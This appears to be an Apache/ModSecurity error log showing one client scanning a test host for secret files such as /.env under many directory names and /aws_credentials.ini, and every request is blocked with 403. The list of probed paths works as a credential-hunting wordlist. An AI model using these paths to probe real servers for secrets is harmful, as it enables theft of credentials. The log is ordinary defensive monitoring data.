[Fri Mar 13 10:38:54.529386 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BACKEND/.env"] [unique_id "abPbLjBg1q11AF-qXvZDqAAAAAQ"]
[Fri Mar 13 10:38:54.552926 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BE/.env"] [unique_id "abPbLjBg1q11AF-qXvZDqQAAAAQ"]
[Fri Mar 13 10:38:54.553157 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BE/.env"] [unique_id "abPbLjBg1q11AF-qXvZDqQAAAAQ"]
[Fri Mar 13 10:38:54.553306 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BE/.env"] [unique_id "abPbLjBg1q11AF-qXvZDqQAAAAQ"]
[Fri Mar 13 10:38:54.600806 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Backend/.env"] [unique_id "abPbLjBg1q11AF-qXvZDqwAAAAQ"]
[Fri Mar 13 10:38:54.601016 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Backend/.env"] [unique_id "abPbLjBg1q11AF-qXvZDqwAAAAQ"]
[Fri Mar 13 10:38:54.601163 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Backend/.env"] [unique_id "abPbLjBg1q11AF-qXvZDqwAAAAQ"]
[Fri Mar 13 10:38:54.624209 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Be/.env"] [unique_id "abPbLjBg1q11AF-qXvZDrAAAAAQ"]
[Fri Mar 13 10:38:54.624434 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Be/.env"] [unique_id "abPbLjBg1q11AF-qXvZDrAAAAAQ"]
[Fri Mar 13 10:38:54.624599 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Be/.env"] [unique_id "abPbLjBg1q11AF-qXvZDrAAAAAQ"]
[Fri Mar 13 10:38:54.812677 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin-app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin-app/.env"] [unique_id "abPbLjBg1q11AF-qXvZDtAAAAAQ"]
[Fri Mar 13 10:38:54.812874 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin-app/.env"] [unique_id "abPbLjBg1q11AF-qXvZDtAAAAAQ"]
[Fri Mar 13 10:38:54.813016 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin-app/.env"] [unique_id "abPbLjBg1q11AF-qXvZDtAAAAAQ"]
[Fri Mar 13 10:38:54.835283 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abPbLjBg1q11AF-qXvZDtQAAAAQ"]
[Fri Mar 13 10:38:54.835481 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abPbLjBg1q11AF-qXvZDtQAAAAQ"]
[Fri Mar 13 10:38:54.835616 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abPbLjBg1q11AF-qXvZDtQAAAAQ"]
[Fri Mar 13 10:38:55.095023 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "abPbLzBg1q11AF-qXvZDwAAAAAQ"]
[Fri Mar 13 10:38:55.095231 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "abPbLzBg1q11AF-qXvZDwAAAAAQ"]
[Fri Mar 13 10:38:55.095374 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "abPbLzBg1q11AF-qXvZDwAAAAAQ"]
[Fri Mar 13 10:38:55.117838 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api-backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api-backend/.env"] [unique_id "abPbLzBg1q11AF-qXvZDwQAAAAQ"]
[Fri Mar 13 10:38:55.118075 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api-backend/.env"] [unique_id "abPbLzBg1q11AF-qXvZDwQAAAAQ"]
[Fri Mar 13 10:38:55.118231 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api-backend/.env"] [unique_id "abPbLzBg1q11AF-qXvZDwQAAAAQ"]
[Fri Mar 13 10:38:55.140765 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api-node/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api-node/.env"] [unique_id "abPbLzBg1q11AF-qXvZDwgAAAAQ"]
[Fri Mar 13 10:38:55.140972 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api-node/.env"] [unique_id "abPbLzBg1q11AF-qXvZDwgAAAAQ"]
[Fri Mar 13 10:38:55.141110 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api-node/.env"] [unique_id "abPbLzBg1q11AF-qXvZDwgAAAAQ"]
[Fri Mar 13 10:38:55.513963 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apis/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apis/.env"] [unique_id "abPbLzBg1q11AF-qXvZD0gAAAAQ"]
[Fri Mar 13 10:38:55.514159 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apis/.env"] [unique_id "abPbLzBg1q11AF-qXvZD0gAAAAQ"]
[Fri Mar 13 10:38:55.514308 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apis/.env"] [unique_id "abPbLzBg1q11AF-qXvZD0gAAAAQ"]
[Fri Mar 13 10:38:55.632920 2026] [authz_core:error] [pid 2664147] [client 185.177.72.49:7580] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Fri Mar 13 10:38:55.655377 2026] [authz_core:error] [pid 2664147] [client 185.177.72.49:7580] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Fri Mar 13 10:38:55.677797 2026] [authz_core:error] [pid 2664147] [client 185.177.72.49:7580] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Fri Mar 13 10:38:55.700445 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "abPbLzBg1q11AF-qXvZD2gAAAAQ"]
[Fri Mar 13 10:38:55.700639 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "abPbLzBg1q11AF-qXvZD2gAAAAQ"]
[Fri Mar 13 10:38:55.700786 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "abPbLzBg1q11AF-qXvZD2gAAAAQ"]
[Fri Mar 13 10:38:55.724135 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "abPbLzBg1q11AF-qXvZD2wAAAAQ"]
[Fri Mar 13 10:38:55.724337 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "abPbLzBg1q11AF-qXvZD2wAAAAQ"]
[Fri Mar 13 10:38:55.724472 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "abPbLzBg1q11AF-qXvZD2wAAAAQ"]
[Fri Mar 13 10:38:55.933743 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/aws_credentials.ini"] [unique_id "abPbLzBg1q11AF-qXvZD5AAAAAQ"]
[Fri Mar 13 10:38:55.934150 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/aws_credentials.ini"] [unique_id "abPbLzBg1q11AF-qXvZD5AAAAAQ"]
[Fri Mar 13 10:38:55.934294 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/aws_credentials.ini"] [unique_id "abPbLzBg1q11AF-qXvZD5AAAAAQ"]
[Fri Mar 13 10:38:55.956823 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back-api/.env"] [unique_id "abPbLzBg1q11AF-qXvZD5QAAAAQ"]
[Fri Mar 13 10:38:55.957026 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back-api/.env"] [unique_id "abPbLzBg1q11AF-qXvZD5QAAAAQ"]
